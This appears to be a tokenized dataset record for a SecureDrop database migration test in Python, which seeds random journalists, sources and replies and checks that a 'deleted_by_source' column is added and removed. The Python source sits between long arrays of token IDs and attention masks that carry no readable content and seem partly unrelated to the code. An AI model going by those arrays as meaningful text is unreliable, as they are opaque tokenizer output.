2672, 3403, 23379, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 665, 65, 4369, 628, 4, 1501, 1743, 4, 1501, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 789, 819, 4132, 602, 18, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 14, 2672, 3403, 14, 2672, 1213, 14, 665, 73, 30, 4, 7067, 1108, 73, 6244, 665, 66, 30, 4, 2405, 1108, 66, 13661, 4, 1955, 395, 2672, 5856, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 20812, 2706, 356, 85, 7, 4, 8149, 14, 2672, 3403, 14, 665, 73, 30, 4, 1213, 1108, 73, 10827, 2672, 12789, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 7, 25171, 356, 85, 7, 4, 30959, 12, 2672, 3403, 297, 15166, 399, 5121, 69, 1879, 356, 85, 7, 4, 8149, 14, 2672, 3403, 14, 665, 73, 30, 4, 1213, 1108, 73, 10827, 2672, 12789, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 789, 819, 849, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 26, 27430, 251, 4, 1213, 8477, 252, 12, 665, 73, 30, 4, 7067, 1108, 73, 6244, 91, 11618, 14, 2672, 5856, 28209, 2672, 3403, 23379, 2851, 665 ]
[ 1182, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 257, 3473, 18, 1360, 26, 3957, 14081, 26426, 370, 4163, 1072, 14, 199, 3, 199, 3, 257, 1898, 334, 35, 9, 8937, 13, 8128, 22986, 481, 27569, 11302, 78, 271, 90, 199, 3, 199, 3, 257, 17646, 68, 1334, 314, 2895, 402, 314, 658, 18, 13, 16009, 6289, 4190, 7, 3131, 315, 3974, 26, 199, 3, 257, 11247, 316, 436, 4084, 402, 642, 570, 12, 543, 503, 1928, 7100, 12, 199, 3, 257, 787, 8211, 315, 1263, 21576, 1928, 882, 89, 13248, 2741, 314, 4248, 199, 3, 257, 4245, 436, 642, 4245, 787, 17731, 14, 199, 3, 257, 961, 570, 365, 402, 22941, 465, 13, 374, 12, 1928, 1263, 3750, 14, 199, 3, 199, 3, 2508, 485, 18, 13, 16009, 6289, 4190, 26, 1455, 921, 1544, 14, 681, 8373, 14, 1308, 15, 2383, 15, 15400, 13, 18, 13, 16009, 199, 199, 3, 257, 21311, 641, 325, 27480, 56, 281, 26, 3957, 491, 89, 56, 1350, 1584, 370, 4163, 1072, 14, 199, 3, 257, 1455, 921, 7742, 32200, 14, 2865, 3689, 14, 1308, 15, 199, 199, 3, 1553, 500, 306, 199, 3, 22986, 1784, 614, 6019, 199, 3, 325, 27480, 56, 281, 18042, 15723, 8603, 370, 4163, 14, 6905, 199, 646, 984, 199, 199, 533, 11680, 8, 785, 304, 523, 298, 33, 23465, 1021, 2, 819, 3105, 632, 275, 756, 523, 11971, 632, 275, 756, 523, 2498, 1278, 632, 275, 756, 819, 2403, 275, 488, 819, 347, 3105, 8, 1886, 12, 1245, 304, 272, 298, 6824, 282, 3105, 1245, 2, 272, 340, 440, 11680, 14, 1757, 632, 503, 11680, 14, 10243, 632, 26, 489, 372, 272, 11680, 14, 2384, 8, 1188, 12, 984, 14, 2703, 9, 819, 347, 1245, 8, 1886, 12, 1245, 304, 272, 298, 6824, 282, 3307, 1245, 2, 272, 340, 11680, 14, 10243, 632, 26, 489, 372, 272, 340, 11680, 14, 1861, 436, 11680, 14, 2384, 1278, 632, 26, 489, 1245, 275, 11680, 14, 1861, 435, 1245, 272, 11680, 14, 2384, 8, 1188, 12, 984, 14, 2703, 9, 819, 347, 1125, 8, 1886, 12, 1245, 304, 272, 298, 6824, 376, 1125, 1245, 2, 272, 1245, 275, 6438, 283, 435, 1245, 272, 340, 11680, 14, 1861, 436, 11680, 14, 2384, 1278, 632, 26, 489, 1245, 275, 11680, 14, 1861, 435, 1245, 272, 11680, 14, 2384, 8, 1188, 12, 984, 14, 3083, 9, 819, 347, 14294, 8, 1886, 12, 1245, 304, 272, 298, 6824, 376, 1125, 1245, 436, 15095, 2, 272, 11680, 14, 705, 360, 29086, 26, 283, 435, 1245, 9, 272, 4458, 2801, 17, 9, 819, 347, 2498, 8, 1886, 12, 1245, 12, 3623, 304, 272, 298, 6824, 282, 1245, 734, 402, 282, 3623, 2, 272, 340, 984, 14, 1023, 63, 815, 665, 334, 19, 12, 16, 304, 489, 1245, 275, 1245, 14, 2143, 360, 1624, 13, 24, 358, 272, 3623, 14, 952, 8, 1188, 435, 1557, 78, 358, 819, 3105, 275, 18990, 8, 1757, 9, 523, 1245, 275, 18990, 8, 1188, 9, 523, 1125, 275, 18990, 8, 705, 9, 523, 14294, 275, 18990, 8, 16208, 9, 523, 2498, 275, 18990, 8, 2384, 9, 6905, 199, 646, 747, 14, 515, 199, 646, 984, 421, 199, 533, 21949, 30349, 2028, 8, 785, 304, 523, 298, 5688, 1021, 687, 579, 20937, 281, 14, 888, 570, 2, 819, 2236, 3289, 6002, 292, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 14, 2672, 1213, 14, 665, 73, 30, 4, 7067, 1108, 73, 6244, 91, 469, 4, 2405, 26, 93, 4, 5856, 28209, 2672, 4482, 2672, 3403, 23379, 886, 73, 26, 2672, 27334, 14, 8847, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 7, 25171, 356, 85, 7, 4, 30959, 22187, 3403, 3196, 15166, 399, 5121, 69, 1879, 356, 85, 7, 4, 8149, 14, 665, 73, 30, 4, 1213, 1108, 73, 10827, 2672, 12789, 12, 2672, 3403, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 789, 819, 5131, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 14, 2672, 1213, 23379, 665, 73, 30, 4, 7067, 1108, 73, 22266, 12, 469, 4, 2405, 8847, 22187, 1955, 9, 4863, 28476, 2672, 5856, 8847, 12, 2672, 3403, 5565, 8847, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 665, 65, 4369, 628, 4, 1501, 1743, 4, 1501, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 7, 25171, 356, 85, 7, 4, 11762, 4, 7080, 297, 15166, 399, 5121, 69, 1879, 356, 85, 7, 4, 8149, 14, 2672, 1213, 23379, 665, 73, 30, 4, 7067, 1108, 73, 6244, 93, 2672, 3403, 23379, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 665, 65, 4369, 628, 4, 1501, 1743, 4, 1501, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 789, 819, 4132, 602, 18, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 14, 2672, 3403, 14, 2672, 1213, 14, 665, 73, 30, 4, 7067, 1108, 73, 6244, 665, 66, 30, 4, 2405, 1108, 66, 13661, 4, 1955, 395, 2672, 5856, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 20812, 2706, 356, 85, 7, 4, 8149, 14, 2672, 3403, 14, 665, 73, 30, 4, 1213, 1108, 73, 10827, 2672, 12789, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 399, 7, 25171, 356, 85, 7, 4, 30959, 12, 2672, 3403, 297, 15166, 399, 5121, 69, 1879, 356, 85, 7, 4, 8149, 14, 2672, 3403, 14, 665, 73, 30, 4, 1213, 1108, 73, 10827, 2672, 12789, 23379, 2851, 665, 65, 4369, 628, 4, 633, 1743, 4, 633, 1108, 65, 10827, 8847, 2672, 4610, 14, 7293, 15166, 789, 819, 849, 275, 469, 32115, 399, 20812, 6934, 356, 85, 7, 4, 8149, 26, 27430, 251, 4, 1213, 8477, 252, 12, 665, 73, 30, 4, 7067, 1108, 73, 6244, 91, 11618, 14, 2672, 5856, 28209, 2672, 3403, 23379, 2851, 665, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
heartsucker/securedrop
securedrop/tests/migrations/migration_e0a525cbab83.py
4
5664
# -*- coding: utf-8 -*- import random import string import uuid from sqlalchemy import text from sqlalchemy.exc import NoSuchColumnError from db import db from journalist_app import create_app from .helpers import (random_bool, random_bytes, random_chars, random_datetime, random_username, bool_or_none) random.seed('ᕕ( ᐛ )ᕗ') def add_source(): filesystem_id = random_chars(96) if random_bool() else None params = { 'uuid': str(uuid.uuid4()), 'filesystem_id': filesystem_id, 'journalist_designation': random_chars(50), 'flagged': bool_or_none(), 'last_updated': random_datetime(nullable=True), 'pending': bool_or_none(), 'interaction_count': random.randint(0, 1000), } sql = '''INSERT INTO sources (uuid, filesystem_id, journalist_designation, flagged, last_updated, pending, interaction_count) VALUES (:uuid, :filesystem_id, :journalist_designation, :flagged, :last_updated, :pending, :interaction_count) ''' db.engine.execute(text(sql), **params) def add_journalist(): if random_bool(): otp_secret = random_chars(16, string.ascii_uppercase + '234567') else: otp_secret = None is_totp = random_bool() if is_totp: hotp_counter = 0 if random_bool() else None else: hotp_counter = random.randint(0, 10000) if random_bool() else None last_token = random_chars(6, string.digits) if random_bool() else None params = { 'username': random_username(), 'pw_salt': random_bytes(1, 64, nullable=True), 'pw_hash': random_bytes(32, 64, nullable=True), 'is_admin': bool_or_none(), 'otp_secret': otp_secret, 'is_totp': is_totp, 'hotp_counter': hotp_counter, 'last_token': last_token, 'created_on': random_datetime(nullable=True), 'last_access': random_datetime(nullable=True), 'passphrase_hash': random_bytes(32, 64, nullable=True) } sql = '''INSERT INTO journalists (username, pw_salt, pw_hash, is_admin, otp_secret, is_totp, hotp_counter, last_token, created_on, last_access, passphrase_hash) VALUES (:username, :pw_salt, :pw_hash, :is_admin, :otp_secret, :is_totp, :hotp_counter, :last_token, :created_on, :last_access, :passphrase_hash); ''' db.engine.execute(text(sql), **params) class UpgradeTester(): '''This migration verifies that the deleted_by_source column now exists, and that the data migration completed successfully. ''' SOURCE_NUM = 200 JOURNO_NUM = 20 def __init__(self, config): self.config = config self.app = create_app(config) def load_data(self): with self.app.app_context(): for _ in range(self.JOURNO_NUM): add_journalist() add_source() for jid in range(1, self.JOURNO_NUM): self.add_reply(jid, 1) db.session.commit() @staticmethod def add_reply(journalist_id, source_id): params = { 'journalist_id': journalist_id, 'source_id': source_id, 'filename': random_chars(50), 'size': random.randint(0, 1024 * 1024 * 500), } sql = '''INSERT INTO replies (journalist_id, source_id, filename, size) VALUES (:journalist_id, :source_id, :filename, :size) ''' db.engine.execute(text(sql), **params) def check_upgrade(self): with self.app.app_context(): replies = db.engine.execute( text('SELECT * FROM replies')).fetchall() assert len(replies) == self.JOURNO_NUM - 1 for reply in replies: assert reply.deleted_by_source == False # noqa class DowngradeTester(): SOURCE_NUM = 200 JOURNO_NUM = 20 def __init__(self, config): self.config = config self.app = create_app(config) def load_data(self): with self.app.app_context(): for _ in range(self.JOURNO_NUM): add_journalist() add_source() for jid in range(1, self.JOURNO_NUM): self.add_reply(jid, 1) db.session.commit() @staticmethod def add_reply(journalist_id, source_id): params = { 'journalist_id': journalist_id, 'source_id': source_id, 'filename': random_chars(50), 'size': random.randint(0, 1024 * 1024 * 500), 'deleted_by_source': False, } sql = '''INSERT INTO replies (journalist_id, source_id, filename, size, deleted_by_source) VALUES (:journalist_id, :source_id, :filename, :size, :deleted_by_source) ''' db.engine.execute(text(sql), **params) def check_downgrade(self): '''Verify that the deleted_by_source column is now gone, and otherwise the table has the expected number of rows. ''' with self.app.app_context(): sql = "SELECT * FROM replies" replies = db.engine.execute(text(sql)).fetchall() for reply in replies: try: # This should produce an exception, as the column (should) # be gone. assert reply['deleted_by_source'] is None except NoSuchColumnError: pass assert len(replies) == self.JOURNO_NUM - 1
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 646, 2196, 199, 646, 1059, 199, 646, 5377, 199, 199, 504, 8335, 492, 1318, 199, 504, 8335, 14, 2804, 492, 23798, 4547, 547, 199, 199, 504, 1592, 492, 1592, 199, 504, 9605, 631, 63, 571, 492, 1218, 63, 571, 199, 504, 1275, 7546, 492, 334, 2355, 63, 2245, 12, 2196, 63, 2394, 12, 2196, 63, 6574, 12, 2196, 63, 2083, 12, 1993, 2196, 63, 2473, 12, 2155, 63, 269, 63, 3592, 9, 199, 199, 2355, 14, 5176, 360, 158, 244, 244, 8, 221, 158, 239, 250, 776, 158, 244, 246, 358, 421, 199, 318, 1050, 63, 1365, 837, 272, 10036, 63, 344, 275, 2196, 63, 6574, 8, 2534, 9, 340, 2196, 63, 2245, 342, 587, 488, 272, 1862, 275, 469, 267, 283, 2580, 356, 620, 8, 2580, 14, 2580, 20, 4000, 267, 283, 11381, 63, 344, 356, 10036, 63, 344, 12, 267, 283, 7067, 631, 63, 14748, 425, 356, 2196, 63, 6574, 8, 1400, 395, 267, 283, 4173, 3046, 356, 2155, 63, 269, 63, 3592, 1062, 267, 283, 2019, 63, 5334, 356, 2196, 63, 2083, 8, 16375, 29, 549, 395, 267, 283, 6455, 356, 2155, 63, 269, 63, 3592, 1062, 267, 283, 21679, 63, 835, 356, 2196, 14, 8393, 8, 16, 12, 5198, 395, 272, 789, 272, 3875, 275, 1449, 10258, 12872, 5274, 334, 2580, 12, 10036, 63, 344, 12, 355, 9605, 631, 63, 14748, 425, 12, 3305, 3046, 12, 2061, 63, 5334, 12, 9413, 12, 355, 18752, 63, 835, 9, 1467, 13992, 18479, 2580, 12, 520, 11381, 63, 344, 12, 520, 7067, 631, 63, 14748, 425, 12, 355, 520, 4173, 3046, 12, 520, 2019, 63, 5334, 12, 520, 6455, 12, 520, 21679, 63, 835, 9, 881, 1449, 272, 1592, 14, 3908, 14, 2526, 8, 505, 8, 3009, 395, 1011, 1162, 9, 421, 199, 318, 1050, 63, 7067, 631, 837, 272, 340, 2196, 63, 2245, 837, 267, 312, 683, 63, 4731, 275, 2196, 63, 6574, 8, 975, 12, 1059, 14, 4371, 63, 26831, 435, 283, 5533, 5308, 358, 272, 587, 26, 267, 312, 683, 63, 4731, 275, 488, 339, 365, 63, 13280, 80, 275, 2196, 63, 2245, 342, 272, 340, 365, 63, 13280, 80, 26, 267, 18469, 80, 63, 5337, 275, 378, 340, 2196, 63, 2245, 342, 587, 488, 272, 587, 26, 267, 18469, 80, 63, 5337, 275, 2196, 14, 8393, 8, 16, 12, 11630, 9, 340, 2196, 63, 2245, 342, 587, 488, 339, 2061, 63, 1418, 275, 2196, 63, 6574, 8, 22, 12, 1059, 14, 7022, 9, 340, 2196, 63, 2245, 342, 587, 488, 339, 1862, 275, 469, 267, 283, 2473, 356, 2196, 63, 2473, 1062, 267, 283, 8796, 63, 12597, 356, 2196, 63, 2394, 8, 17, 12, 5049, 12, 7854, 29, 549, 395, 267, 283, 8796, 63, 2227, 356, 2196, 63, 2394, 8, 708, 12, 5049, 12, 7854, 29, 549, 395, 267, 283, 374, 63, 2113, 356, 2155, 63, 269, 63, 3592, 1062, 267, 283, 357, 80, 63, 4731, 356, 312, 683, 63, 4731, 12, 267, 283, 374, 63, 13280, 80, 356, 365, 63, 13280, 80, 12, 267, 283, 8885, 80, 63, 5337, 356, 18469, 80, 63, 5337, 12, 267, 283, 2019, 63, 1418, 356, 2061, 63, 1418, 12, 267, 283, 3966, 63, 265, 356, 2196, 63, 2083, 8, 16375, 29, 549, 395, 267, 283, 2019, 63, 2732, 356, 2196, 63, 2083, 8, 16375, 29, 549, 395, 267, 283, 25173, 63, 2227, 356, 2196, 63, 2394, 8, 708, 12, 5049, 12, 7854, 29, 549, 9, 272, 789, 272, 3875, 275, 1449, 10258, 12872, 9605, 1670, 334, 2473, 12, 19206, 63, 12597, 12, 19206, 63, 2227, 12, 355, 365, 63, 2113, 12, 312, 683, 63, 4731, 12, 365, 63, 13280, 80, 12, 18469, 80, 63, 5337, 12, 2061, 63, 1418, 12, 355, 2737, 63, 265, 12, 2061, 63, 2732, 12, 22432, 63, 2227, 9, 1467, 13992, 18479, 2473, 12, 520, 8796, 63, 12597, 12, 520, 8796, 63, 2227, 12, 520, 374, 63, 2113, 12, 355, 520, 357, 80, 63, 4731, 12, 520, 374, 63, 13280, 80, 12, 520, 8885, 80, 63, 5337, 12, 520, 2019, 63, 1418, 12, 355, 520, 3966, 63, 265, 12, 520, 2019, 63, 2732, 12, 520, 25173, 63, 2227, 2736, 881, 1449, 272, 1592, 14, 3908, 14, 2526, 8, 505, 8, 3009, 395, 1011, 1162, 9, 421, 199, 533, 4949, 4523, 22403, 837, 339, 1449, 2765, 8367, 22694, 626, 314, 5463, 63, 991, 63, 1365, 2763, 3063, 3495, 12, 272, 436, 626, 314, 666, 8367, 9709, 8792, 14, 272, 1449, 339, 25470, 63, 7125, 275, 1926, 272, 1603, 11237, 2826, 63, 7125, 275, 3388, 339, 347, 636, 826, 721, 277, 12, 1101, 304, 267, 291, 14, 888, 275, 1101, 267, 291, 14, 571, 275, 1218, 63, 571, 8, 888, 9, 339, 347, 2248, 63, 576, 8, 277, 304, 267, 543, 291, 14, 571, 14, 571, 63, 1100, 837, 288, 367, 485, 315, 1425, 8, 277, 14, 42, 11237, 2826, 63, 7125, 304, 355, 1050, 63, 7067, 631, 342, 953, 1050, 63, 1365, 342, 953, 367, 21752, 315, 1425, 8, 17, 12, 291, 14, 42, 11237, 2826, 63, 7125, 304, 355, 291, 14, 525, 63, 8102, 8, 14203, 12, 413, 9, 953, 1592, 14, 1730, 14, 3543, 342, 339, 768, 4639, 272, 347, 1050, 63, 8102, 8, 7067, 631, 63, 344, 12, 1350, 63, 344, 304, 267, 1862, 275, 469, 288, 283, 7067, 631, 63, 344, 356, 9605, 631, 63, 344, 12, 288, 283, 1365, 63, 344, 356, 1350, 63, 344, 12, 288, 283, 1501, 356, 2196, 63, 6574, 8, 1400, 395, 288, 283, 890, 356, 2196, 14, 8393, 8, 16, 12, 6619, 627, 6619, 627, 6891, 395, 267, 789, 267, 3875, 275, 1449, 10258, 12872, 1833, 6528, 334, 7067, 631, 63, 344, 12, 1350, 63, 344, 12, 1788, 12, 490, 1568, 9, 326, 13992, 18479, 7067, 631, 63, 344, 12, 520, 1365, 63, 344, 12, 520, 1501, 12, 520, 890, 9, 1598, 1449, 267, 1592, 14, 3908, 14, 2526, 8, 505, 8, 3009, 395, 1011, 1162, 9, 339, 347, 1104, 63, 9375, 8, 277, 304, 267, 543, 291, 14, 571, 14, 571, 63, 1100, 837, 288, 1833, 6528, 275, 1592, 14, 3908, 14, 2526, 8, 355, 1318, 360, 4859 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 646, 2196, 199, 646, 1059, 199, 646, 5377, 199, 199, 504, 8335, 492, 1318, 199, 504, 8335, 14, 2804, 492, 23798, 4547, 547, 199, 199, 504, 1592, 492, 1592, 199, 504, 9605, 631, 63, 571, 492, 1218, 63, 571, 199, 504, 1275, 7546, 492, 334, 2355, 63, 2245, 12, 2196, 63, 2394, 12, 2196, 63, 6574, 12, 2196, 63, 2083, 12, 1993, 2196, 63, 2473, 12, 2155, 63, 269, 63, 3592, 9, 199, 199, 2355, 14, 5176, 360, 158, 244, 244, 8, 221, 158, 239, 250, 776, 158, 244, 246, 358, 421, 199, 318, 1050, 63, 1365, 837, 272, 10036, 63, 344, 275, 2196, 63, 6574, 8, 2534, 9, 340, 2196, 63, 2245, 342, 587, 488, 272, 1862, 275, 469, 267, 283, 2580, 356, 620, 8, 2580, 14, 2580, 20, 4000, 267, 283, 11381, 63, 344, 356, 10036, 63, 344, 12, 267, 283, 7067, 631, 63, 14748, 425, 356, 2196, 63, 6574, 8, 1400, 395, 267, 283, 4173, 3046, 356, 2155, 63, 269, 63, 3592, 1062, 267, 283, 2019, 63, 5334, 356, 2196, 63, 2083, 8, 16375, 29, 549, 395, 267, 283, 6455, 356, 2155, 63, 269, 63, 3592, 1062, 267, 283, 21679, 63, 835, 356, 2196, 14, 8393, 8, 16, 12, 5198, 395, 272, 789, 272, 3875, 275, 1449, 10258, 12872, 5274, 334, 2580, 12, 10036, 63, 344, 12, 355, 9605, 631, 63, 14748, 425, 12, 3305, 3046, 12, 2061, 63, 5334, 12, 9413, 12, 355, 18752, 63, 835, 9, 1467, 13992, 18479, 2580, 12, 520, 11381, 63, 344, 12, 520, 7067, 631, 63, 14748, 425, 12, 355, 520, 4173, 3046, 12, 520, 2019, 63, 5334, 12, 520, 6455, 12, 520, 21679, 63, 835, 9, 881, 1449, 272, 1592, 14, 3908, 14, 2526, 8, 505, 8, 3009, 395, 1011, 1162, 9, 421, 199, 318, 1050, 63, 7067, 631, 837, 272, 340, 2196, 63, 2245, 837, 267, 312, 683, 63, 4731, 275, 2196, 63, 6574, 8, 975, 12, 1059, 14, 4371, 63, 26831, 435, 283, 5533, 5308, 358, 272, 587, 26, 267, 312, 683, 63, 4731, 275, 488, 339, 365, 63, 13280, 80, 275, 2196, 63, 2245, 342, 272, 340, 365, 63, 13280, 80, 26, 267, 18469, 80, 63, 5337, 275, 378, 340, 2196, 63, 2245, 342, 587, 488, 272, 587, 26, 267, 18469, 80, 63, 5337, 275, 2196, 14, 8393, 8, 16, 12, 11630, 9, 340, 2196, 63, 2245, 342, 587, 488, 339, 2061, 63, 1418, 275, 2196, 63, 6574, 8, 22, 12, 1059, 14, 7022, 9, 340, 2196, 63, 2245, 342, 587, 488, 339, 1862, 275, 469, 267, 283, 2473, 356, 2196, 63, 2473, 1062, 267, 283, 8796, 63, 12597, 356, 2196, 63, 2394, 8, 17, 12, 5049, 12, 7854, 29, 549, 395, 267, 283, 8796, 63, 2227, 356, 2196, 63, 2394, 8, 708, 12, 5049, 12, 7854, 29, 549, 395, 267, 283, 374, 63, 2113, 356, 2155, 63, 269, 63, 3592, 1062, 267, 283, 357, 80, 63, 4731, 356, 312, 683, 63, 4731, 12, 267, 283, 374, 63, 13280, 80, 356, 365, 63, 13280, 80, 12, 267, 283, 8885, 80, 63, 5337, 356, 18469, 80, 63, 5337, 12, 267, 283, 2019, 63, 1418, 356, 2061, 63, 1418, 12, 267, 283, 3966, 63, 265, 356, 2196, 63, 2083, 8, 16375, 29, 549, 395, 267, 283, 2019, 63, 2732, 356, 2196, 63, 2083, 8, 16375, 29, 549, 395, 267, 283, 25173, 63, 2227, 356, 2196, 63, 2394, 8, 708, 12, 5049, 12, 7854, 29, 549, 9, 272, 789, 272, 3875, 275, 1449, 10258, 12872, 9605, 1670, 334, 2473, 12, 19206, 63, 12597, 12, 19206, 63, 2227, 12, 355, 365, 63, 2113, 12, 312, 683, 63, 4731, 12, 365, 63, 13280, 80, 12, 18469, 80, 63, 5337, 12, 2061, 63, 1418, 12, 355, 2737, 63, 265, 12, 2061, 63, 2732, 12, 22432, 63, 2227, 9, 1467, 13992, 18479, 2473, 12, 520, 8796, 63, 12597, 12, 520, 8796, 63, 2227, 12, 520, 374, 63, 2113, 12, 355, 520, 357, 80, 63, 4731, 12, 520, 374, 63, 13280, 80, 12, 520, 8885, 80, 63, 5337, 12, 520, 2019, 63, 1418, 12, 355, 520, 3966, 63, 265, 12, 520, 2019, 63, 2732, 12, 520, 25173, 63, 2227, 2736, 881, 1449, 272, 1592, 14, 3908, 14, 2526, 8, 505, 8, 3009, 395, 1011, 1162, 9, 421, 199, 533, 4949, 4523, 22403, 837, 339, 1449, 2765, 8367, 22694, 626, 314, 5463, 63, 991, 63, 1365, 2763, 3063, 3495, 12, 272, 436, 626, 314, 666, 8367, 9709, 8792, 14, 272, 1449, 339, 25470, 63, 7125, 275, 1926, 272, 1603, 11237, 2826, 63, 7125, 275, 3388, 339, 347, 636, 826, 721, 277, 12, 1101, 304, 267, 291, 14, 888, 275, 1101, 267, 291, 14, 571, 275, 1218, 63, 571, 8, 888, 9, 339, 347, 2248, 63, 576, 8, 277, 304, 267, 543, 291, 14, 571, 14, 571, 63, 1100, 837, 288, 367, 485, 315, 1425, 8, 277, 14, 42, 11237, 2826, 63, 7125, 304, 355, 1050, 63, 7067, 631, 342, 953, 1050, 63, 1365, 342, 953, 367, 21752, 315, 1425, 8, 17, 12, 291, 14, 42, 11237, 2826, 63, 7125, 304, 355, 291, 14, 525, 63, 8102, 8, 14203, 12, 413, 9, 953, 1592, 14, 1730, 14, 3543, 342, 339, 768, 4639, 272, 347, 1050, 63, 8102, 8, 7067, 631, 63, 344, 12, 1350, 63, 344, 304, 267, 1862, 275, 469, 288, 283, 7067, 631, 63, 344, 356, 9605, 631, 63, 344, 12, 288, 283, 1365, 63, 344, 356, 1350, 63, 344, 12, 288, 283, 1501, 356, 2196, 63, 6574, 8, 1400, 395, 288, 283, 890, 356, 2196, 14, 8393, 8, 16, 12, 6619, 627, 6619, 627, 6891, 395, 267, 789, 267, 3875, 275, 1449, 10258, 12872, 1833, 6528, 334, 7067, 631, 63, 344, 12, 1350, 63, 344, 12, 1788, 12, 490, 1568, 9, 326, 13992, 18479, 7067, 631, 63, 344, 12, 520, 1365, 63, 344, 12, 520, 1501, 12, 520, 890, 9, 1598, 1449, 267, 1592, 14, 3908, 14, 2526, 8, 505, 8, 3009, 395, 1011, 1162, 9, 339, 347, 1104, 63, 9375, 8, 277, 304, 267, 543, 291, 14, 571, 14, 571, 63, 1100, 837, 288, 1833, 6528, 275, 1592, 14, 3908, 14, 2526, 8, 355, 1318, 360, 4859, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 